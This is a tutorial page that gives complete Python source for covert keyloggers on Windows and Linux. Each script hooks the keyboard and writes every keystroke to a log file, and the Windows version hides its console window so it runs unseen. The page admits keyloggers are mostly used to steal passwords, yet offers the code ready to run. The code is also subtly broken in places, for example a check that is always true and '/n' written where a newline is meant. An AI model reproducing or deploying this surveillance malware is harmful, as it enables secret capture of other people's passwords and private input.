Design a Keylogger in Python

28 Jun, 2022
Keystroke logging is the process of recording (logging) the keys pressed on a keyboard (usually when the user is unaware). It is also known as keylogging or keyboard capturing.These programs are used for troubleshooting technical problems with computers and business networks. It can also be used to monitor network usages but more often than not it is used for malicious intents like stealing passwords.This article illustrates designing a keylogger for windows and Linux. 
Keylogger for Windows
Download some python libraries 1) pywin32 2) pyhook‘Following is the code to create a keylogger in python
Python3
# Python code for keylogger# to be used in windowsimport win32apiimport win32consoleimport win32guiimport pythoncom, pyHook  win = win32console.GetConsoleWindow()win32gui.ShowWindow(win, 0)  def OnKeyboardEvent(event):    if event.Ascii==5:        _exit(1)    if event.Ascii !=0 or 8:    #open output.txt to read current keystrokes        f = open('c:\output.txt', 'r+')        buffer = f.read()        f.close()    # open output.txt to write current + new keystrokes        f = open('c:\output.txt', 'w')        keylogs = chr(event.Ascii)        if event.Ascii == 13:        keylogs = '/n'        buffer += keylogs        f.write(buffer)        f.close()# create a hook manager objecthm = pyHook.HookManager()hm.KeyDown = OnKeyboardEvent# set the hookhm.HookKeyboard()# wait foreverpythoncom.PumpMessages()
Save the file in C:\ as Keylogger.py and run the python file Output: The keylogger will be started in the background and save all the data on the log file “c:\output.txt”.
Keylogger in Linuxpyxhook requires python-Xlib. Install it if you don’t have it already. 
sudo apt-get install python-xlib
Download pyxhook library
Python3
# Python code for keylogger# to be used in linuximport osimport pyxhook  # This tells the keylogger where the log file will go.# You can set the file path as an environment variable ('pylogger_file'),# or use the default ~/Desktop/file.loglog_file = os.environ.get(    'pylogger_file',    os.path.expanduser('~/Desktop/file.log'))# Allow setting the cancel key from environment args, Default: `cancel_key = ord(    os.environ.get(        'pylogger_cancel',        '`'    )[0])  # Allow clearing the log file on start, if pylogger_clean is defined.if os.environ.get('pylogger_clean', None) is not None:    try:        os.remove(log_file)    except EnvironmentError:       # File does not exist, or no permissions.        pass  #creating key pressing event and saving it into log filedef OnKeyPress(event):    with open(log_file, 'a') as f:        f.write('{}\n'.format(event.Key))  # create a hook manager objectnew_hook = pyxhook.HookManager()new_hook.KeyDown = OnKeyPress# set the hooknew_hook.HookKeyboard()try:    new_hook.start()         # start the hookexcept KeyboardInterrupt:    # User cancelled from command line.    passexcept Exception as ex:    # Write exceptions to the log file, for analysis later.    msg = 'Error while catching events:\n  {}'.format(ex)    pyxhook.print_err(msg)    with open(log_file, 'a') as f:        f.write('\n{}'.format(msg))
Output: The keylogger will be started in the background and save all the data on the file.log file “/home/Akash/Desktop”.  
References https://en.wikipedia.org/wiki/Keystroke_loggingThis article is contributed by Akash Sharan. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. 
simranarora5sos
ddeevviissaavviittaa
Python-projects
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python Dictionary
Different ways to create Pandas Dataframe
Enumerate() in Python
Read a file line by line in Python
Python String | replace()
How to Install PIP on Windows ?
*args and **kwargs in Python
Python Classes and Objects
Iterate over a list in Python
Convert integer to string in Python